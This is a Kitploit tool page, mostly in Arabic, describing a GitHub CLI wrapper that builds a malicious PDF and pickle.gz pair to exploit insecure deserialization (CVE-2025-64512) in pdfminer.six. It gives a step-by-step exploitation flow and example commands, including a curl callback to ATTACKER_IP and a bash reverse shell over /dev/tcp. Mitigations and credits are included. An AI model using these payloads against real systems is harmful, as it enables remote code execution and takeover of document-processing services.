Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64512 — غلاف CLI لـ PoC الخاص بـ CVE-2025-64512 يُنشئ حمولات PDF ضارة وملفات pickle.gz لاستغلال إلغاء التسلسل غير الآمن في pdfminer.six، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر معالجة ملفات PDF مُعدَّة خصيصًا. | Kitploit
أدوات/GitHubGitHub/bardlaudian/cve-2025-64512
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

غلاف CLI لـ PoC الخاص بـ CVE-2025-64512 يُنشئ حمولات PDF ضارة وملفات pickle.gz لاستغلال إلغاء التسلسل غير الآمن في pdfminer.six، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر معالجة ملفات PDF مُعدَّة خصيصًا.

عرض المستودع
113منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-64512 — إلغاء تسلسل غير آمن (Pickle) في pdfminer.six عبر ملف PDF مُعدّ

Python CVE Platform

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الاختراق المصرّح بها فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرّح به غير قانوني.


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • كيف تعمل
  • المتطلبات
  • التثبيت
  • الاستخدام
  • أمثلة
  • التخفيفات
  • أصحاب الفضل
  • المراجع

نظرة عامة

pdfminer.six هي مكتبة Python تُستخدم على نطاق واسع لاستخراج النصوص والبيانات الوصفية من ملفات PDF، وغالبًا ما تكون مضمّنة في خطوط معالجة المستندات وأدوات سطر الأوامر وسير عمل استيعاب البيانات والذكاء الاصطناعي. الإصدارات المتأثرة تحمّل ملفات ذاكرة التخزين المؤقت لـ CMap (خريطة الأحرف) لدعم خطوط CJK باستخدام وحدة pickle في Python، دون التحقق من أن المسار الناتج يبقى داخل دليل التخزين المؤقت المتوقع.

يمكن لملف PDF مصمم خصيصًا أن يشير إلى مسار يتحكم به المهاجم لهذا البحث عن CMap. إذا تمكن المهاجم أيضًا من وضع ملف .pickle.gz خبيث في ذلك المسار الذي تم حله (مثلًا عبر ميزة رفع ملفات في نفس الموقع)، فإن معالجة ملف PDF تؤدي إلى تنفيذ pickle.loads() على بيانات يتحكم بها المهاجم، مما ينتج عنه تنفيذ تعليمات برمجية عشوائية. هذه الآلية بالضبط — بما في ذلك بنية ملف PDF الخاص بالإثبات PoC — تم توثيقها بواسطة mtolley في الاستشارة الأمنية الرسمية.

يحتوي هذا المستودع على غلاف صغير لواجهة سطر الأوامر CLI حول الإثبات الرسمي المفاهيمي المنشور في استشارة GitHub الأمنية لـ CVE-2025-64512. إنه لا يقدم أي تقنية استغلال جديدة — قالب ملف PDF الخبيث مأخوذ حرفيًا تقريبًا من الاستشارة نفسها؛ هذا السكربت يحدد فقط المسار الهدف والأمر الذي سيتم تنفيذه وأسماء ملفات الإخراج لتسهيل إعادة استخدام الإثبات PoC.


تفاصيل الثغرة

الحقلالقيمة
CVECVE-2025-64512
المتأثرpdfminer.six ≤ 20250506 (وكذلك markitdown ≤ 0.1.3 و pdfplumber ≤ 0.11.7)
النوعإلغاء تسلسل غير آمن (CWE-502)
الصلاحياتلا شيء (بدون مصادقة، إذا كانت معالجة PDF مكشوفة)
التأثيرتنفيذ تعليمات برمجية عشوائية
التصحيحpdfminer.six 20251107+

كيف تعمل

تقوم الدالة CMapDB._load_data() في pdfminer.six بحل اسم CMap — المأخوذ من إدخال /Encoding لخط PDF — إلى مسار ملف، وتحمّله باستخدام pickle.loads() إذا كان ينتهي بـ .pickle.gz. لا تتحقق الدالة من أن المسار الذي تم حله يبقى داخل دليل cmap/ الخاص بـ pdfminer.

متطلبات الهجوم

  1. ملف PDF مُحفِّز يشير إدخال /Encoding في خطه إلى مسار يختاره المهاجم (مشفر بعنوان URL، حيث يكون / كـ #2F).
  2. ملف .pickle.gz خبيث موجود في <that path>.pickle.gz على نظام الملفات الهدف في وقت معالجة PDF.

يمكن عادةً تسليم كلا الملفين عبر نفس قناة الرفع التي تتم معالجتها في النهاية بواسطة pdfminer.six (مثل خط استيعاب المستندات)، طالما أن المسارات الناتجة على القرص يمكن التنبؤ بها أو اكتشافها.

تدفق الاستغلال

1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
   target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
   to process the trigger PDF
6. pickle.loads() executes the payload -> RCE

المتطلبات

  • Python 3.8+ (المكتبة القياسية فقط — gzip، pickle، argparse)

لا توجد تبعيات خارجية مطلوبة لتوليد الحمولة. يجب أن يكون لدى الهدف إصدار ضعيف من pdfminer.six (أو مشروع يعتمد عليه) يعالج بالفعل ملف PDF المرفوع.


التثبيت

git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

الاستخدام

usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
  --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
  --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                         pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        Command to execute on the target (default: id)

أمثلة

الاستخدام الأساسي

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

ينتج هذا:

  • payload.pickle.gz — ارفع هذا أولاً إلى .../uploads/payload.pickle.gz
  • trigger.pdf — ارفع هذا ثانيًا؛ بمجرد أن يعالجه الهدف باستخدام pdfminer.six، سيتم تنفيذ الأمر

استدعاء شبكي (مفيد لتأكيد RCE دون الوصول إلى نظام الملفات)

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

القشرة العكسية

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

التخفيفات

  • حدّث pdfminer.six إلى 20251107 أو أحدث (أو الإصدار المُصحَّح من أي مشروع يضمّنه، مثل markitdown ≥ 0.1.4 و pdfplumber ≥ 0.11.8).
  • قيّد/تحقق من أي محتوى يرفعه المستخدم وينتهي به الأمر ليتم معالجته بواسطة pdfminer.six أو الأدوات المبنية عليه.
  • اعزل خطوط معالجة PDF في صندوق رمل (حاويات، seccomp، بدون شبكة صادرة) بحيث يكون لتنفيذ الكود الناتج عن إلغاء التسلسل تأثير انفجاري ضئيل.
  • راقب العمليات الفرعية غير المتوقعة التي تولّدها خدمات معالجة المستندات.

أصحاب الفضل

  • تم اكتشاف الثغرة والإبلاغ عنها بواسطة: mtolley
  • نشر الاستشارة بواسطة: القائمون على pdfminer.six (pietermarsman)
  • الإثبات الأصلي PoC (قالب PDF الخبيث): من استشارة GitHub الأمنية الرسمية
  • غلاف CLI / تحديد المعاملات: Bardlaudian — غلاف رفيع مريح حول الإثبات الرسمي، دون أي تقنية جديدة

المراجع

  • استشارة GitHub الأمنية الرسمية — GHSA-wf5f-4jwr-ppcp (مصدر الإثبات PoC المستخدم هنا)
  • مستودع pdfminer.six
  • نسخة luigigubello متعددة اللغات (خدعة ملف PDF+pickle.gz الواحد، غير مستخدمة في هذا المستودع)
تنزيل الأداة